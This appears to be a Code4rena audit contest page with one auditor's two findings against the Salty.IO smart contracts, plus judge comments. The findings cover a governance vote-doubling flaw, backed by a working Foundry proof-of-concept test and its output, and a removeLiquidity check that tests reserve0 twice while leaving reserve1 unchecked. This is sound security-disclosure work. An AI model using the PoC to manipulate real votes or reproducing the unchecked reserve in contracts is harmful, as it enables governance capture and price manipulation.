Platform: Code4rena
Start Date: 16/01/2024
Pot Size: $80,000 USDC
Total HM: 37
Participants: 178
Period: 14 days
Judge: Picodes
Total Solo HM: 4
Id: 320
League: ETH
Rank: 121/178
Findings: 2
Award: $32.83
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: PENGUN
Also found by: 0xanmol, Draiakoo, J4X, Matue, ReadyPlayer2, cu5t0mpeo, dutra, falconhoof, grearlake, peanuts, piyushshukla, vnavascues, zhanmingjing, zhaojie
31.1969 USDC - $31.20
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L259-L293 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/DAOConfig.sol#L115-L129 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingConfig.sol#L34-L48
Any user can double the weight of their vote to determine the outcome of the proposal
When a proposal is proposed, if no one calls dao.finalizeBallot
, voting will not stop, and the minimum end time of voting is 3-14 days.
When users vote on proposals, they use salt tokens and need to stake them in the pool. The minimum time for users to cancel their pledges is 1-12 weeks.
When the minimum end time of voting is greater than or equal to 7 days, and the user's cancellation time is 1 week, then the user can cancel the pledge of his salt token after voting, and then send the salt token to other people, and other people can Then vote, which will double the number of votes. Since the end time of each vote may be infinitely magnified, the number of users' votes can also be doubled many times.
poc:
Just put it under the Proposals.t.sol file, and then execute COVERAGE="yes" NETWORK="sep" forge test -vv --match-test testCastVotePoc --rpc-url https://eth-sepolia.g. alchemy.com/v2/{your_token}
function testCastVotePoc() public { string memory ballotName = "parameter:2"; vm.startPrank(DEPLOYER); staking.stakeSALT( 1000 ether ); proposals.proposeParameterBallot(2, "description" ); vm.stopPrank(); uint256 ballotID = proposals.openBallotsByName(ballotName); Vote userVote = Vote.YES; // User has voting power vm.startPrank(alice); console.log("Before alice salt balance:%d", salt.balanceOf(alice)); console.log("Before bob salt balance:%d", salt.balanceOf(bob)); uint256 votingPower = staking.userShareForPool(alice, PoolUtils.STAKED_SALT); assertEq( votingPower, 0, "Alice should not have any initial xSALT" ); userVote = Vote.INCREASE; // Stake some salt and vote again votingPower = 1000 ether; staking.stakeSALT( votingPower ); proposals.castVote(ballotID, userVote); UserVote memory aliceLastVote = proposals.lastUserVoteForBallot(ballotID, alice); UserVote memory bobLastVote = proposals.lastUserVoteForBallot(ballotID, bob); console.log("Before totalVotesCastForBallot ID value : %d", proposals.totalVotesCastForBallot(ballotID)); console.log("Before Ballot vote: %d", proposals.votesCastForBallot(ballotID, userVote)); console.log("Before alice vote: %d", aliceLastVote.votingPower); console.log("Before bob vote: %d", bobLastVote.votingPower); vm.stopPrank(); vm.startPrank(address(dao)); console.log("MinUnsakeWeeks: %d", stakingConfig.minUnstakeWeeks()); stakingConfig.changeMinUnstakeWeeks(false); vm.stopPrank(); vm.startPrank(alice); staking.unstake(votingPower, 1); vm.warp(block.timestamp + 1 weeks + 1 days); console.log("After alice salt balance:%d", salt.balanceOf(alice)); salt.transfer(bob, 1000 ether); console.log("After bob salt balance:%d", salt.balanceOf(bob)); vm.stopPrank(); vm.startPrank(bob); staking.stakeSALT( votingPower ); proposals.castVote(ballotID, userVote); aliceLastVote = proposals.lastUserVoteForBallot(ballotID, alice); bobLastVote = proposals.lastUserVoteForBallot(ballotID, bob); console.log("After totalVotesCastForBallot ID value : %d", proposals.totalVotesCastForBallot(ballotID)); console.log("After Ballot vote: %d", proposals.votesCastForBallot(ballotID, userVote)); console.log("After alice vote: %d", aliceLastVote.votingPower); console.log("After bob vote: %d", bobLastVote.votingPower); }
Results:
Running 1 test for src/dao/tests/Proposals.t.sol:TestProposals [PASS] testCastVotePoc() (gas: 799181) Logs: Before alice salt balance:10000000000000000000000000 Before bob salt balance:0 Before totalVotesCastForBallot ID value : 1000000000000000000000 Before Ballot vote: 1000000000000000000000 Before alice vote: 1000000000000000000000 Before bob vote: 0 MinUnsakeWeeks: 2 After alice salt balance:9999000000000000000000000 After bob salt balance:1000000000000000000000 After totalVotesCastForBallot ID value : 2000000000000000000000 After Ballot vote: 2000000000000000000000 After alice vote: 1000000000000000000000 After bob vote: 1000000000000000000000 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 66.89s
Manual Review
It is recommended that after voting, the pledge status should be marked as voted. When canceling the pledge, it is necessary to check whether there are votes, and if there are votes, update to the new number of votes.
Other
#0 - c4-judge
2024-02-02T11:14:53Z
Picodes marked the issue as duplicate of #746
#1 - c4-judge
2024-02-14T08:06:02Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2024-02-17T16:35:42Z
Picodes changed the severity to 2 (Med Risk)
🌟 Selected for report: neocrao
Also found by: 00xSEV, 0x11singh99, 0x3b, 0xAlix2, 0xRobocop, 0xSmartContractSamurai, 0xanmol, AgileJune, Drynooo, HALITUS, Imp, J4X, KHOROAMU, Kalyan-Singh, MSaptarshi, RootKit0xCE, The-Seraphs, agadzhalov, aman, ayden, cu5t0mpeo, erosjohn, ewah, jasonxiale, jesjupyter, juancito, klau5, memforvik, okolicodes, parrotAudits0, rudolph, t0x1c, wangxx2026, zhaojohnson
1.6255 USDC - $1.63
When the reserves of a certain token in the pool are less than PoolUtils.DUST, this will allow users to profit from more liquidity when adding liquidity, and will cause some important functions to be ddos
Users will call the Pools.removeLiquidity
function to remove liquidity. In this process, it will check whether there is reserve0 or reserve1 when the liquidity is removed, whether it is greater than or equal to PoolUtils.DUST, but in the actual implementation, not all checked
From the implementation below, we can know that it only checks whether reserves.reserve0 >= PoolUtils.DUST
meets the condition, but does not check whether reserves.reserve1 >= PoolUtils.DUST
satisfies the condition. In other words, the user can reset reserves.reserve1 to 0.
function removeLiquidity( IERC20 tokenA, IERC20 tokenB, uint256 liquidityToRemove, uint256 minReclaimedA, uint256 minReclaimedB, uint256 totalLiquidity ) external nonReentrant returns (uint256 reclaimedA, uint256 reclaimedB) { require( msg.sender == address(collateralAndLiquidity), "Pools.removeLiquidity is only callable from the CollateralAndLiquidity contract" ); require( liquidityToRemove > 0, "The amount of liquidityToRemove cannot be zero" ); (bytes32 poolID, bool flipped) = PoolUtils._poolIDAndFlipped(tokenA, tokenB); // Determine how much liquidity is being withdrawn and round down in favor of the protocol PoolReserves storage reserves = _poolReserves[poolID]; reclaimedA = ( reserves.reserve0 * liquidityToRemove ) / totalLiquidity; reclaimedB = ( reserves.reserve1 * liquidityToRemove ) / totalLiquidity; reserves.reserve0 -= uint128(reclaimedA); reserves.reserve1 -= uint128(reclaimedB); // Make sure that removing liquidity doesn't drive either of the reserves below DUST. // This is to ensure that ratios remain relatively constant even after a maximum withdrawal. require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve0 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal"); // Switch reclaimed amounts back to the order that was specified in the call arguments so they make sense to the caller if (flipped) (reclaimedA,reclaimedB) = (reclaimedB,reclaimedA); require( (reclaimedA >= minReclaimedA) && (reclaimedB >= minReclaimedB), "Insufficient underlying tokens returned" ); // Send the reclaimed tokens to the user tokenA.safeTransfer( msg.sender, reclaimedA ); tokenB.safeTransfer( msg.sender, reclaimedB ); emit LiquidityRemoved(tokenA, tokenB, reclaimedA, reclaimedB, liquidityToRemove); }
In the end, if reserves.reserve1 is 0, then the user adds liquidity through addLiquidity to change the ratio of reserves0 and reserve1. In this way, the user is equivalent to controlling the price and making profits.
In addition, this will also cause other functions to not run properly, such as the swap function, which will eventually call the _adjustReservesForSwap function, which will have the following check require((reserve0 >= PoolUtils.DUST) && (reserve1 >= PoolUtils.DUST) , "Insufficient reserves before swap");
Manual Review
change require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve0 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal");
to require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve1 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal");
Invalid Validation
#0 - c4-judge
2024-02-01T22:43:14Z
Picodes marked the issue as duplicate of #647
#1 - c4-judge
2024-02-19T15:39:01Z
Picodes changed the severity to 2 (Med Risk)
#2 - c4-judge
2024-02-19T15:40:54Z
Picodes marked the issue as satisfactory